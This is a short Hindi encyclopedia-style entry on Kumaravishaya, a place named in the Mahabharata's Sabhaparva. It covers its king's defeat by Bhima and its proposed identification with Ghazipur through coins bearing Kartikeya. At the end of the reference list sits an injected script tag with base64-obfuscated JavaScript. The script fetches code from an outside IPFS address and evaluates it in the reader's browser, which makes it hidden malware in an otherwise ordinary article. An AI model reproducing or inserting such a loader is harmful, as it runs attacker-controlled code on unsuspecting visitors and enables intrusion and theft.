कुमारविषय नामक स्थान का उल्लेख महाभारत, सभापर्व में हुआ है- ‘तत: कुमारविषये श्रेणिमन्तमथाजयत्’[1]
- यहाँ के राजा श्रेणिमान् को पाण्डव भीम ने अपनी दिग्विजय यात्रा के प्रसंग में परास्त किया था।
- कुछ विद्वानों ने कुमारविषय का अभिज्ञान 'गाजीपुर' से किया है, जहाँ प्राचीन काल में 'कार्तिकेय' (कुमार) की पूजा प्रचलित थी। यह तथ्य इस क्षेत्र से प्राप्त सिक्कों से प्रमाणित होता है, जिन पर कार्तिकेय या स्कंद की मूर्ति अंकित है।[2]
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टीका टिप्पणी और संदर्भ
- ↑ महाभारत, सभापर्व, 30, 11.
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 203 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>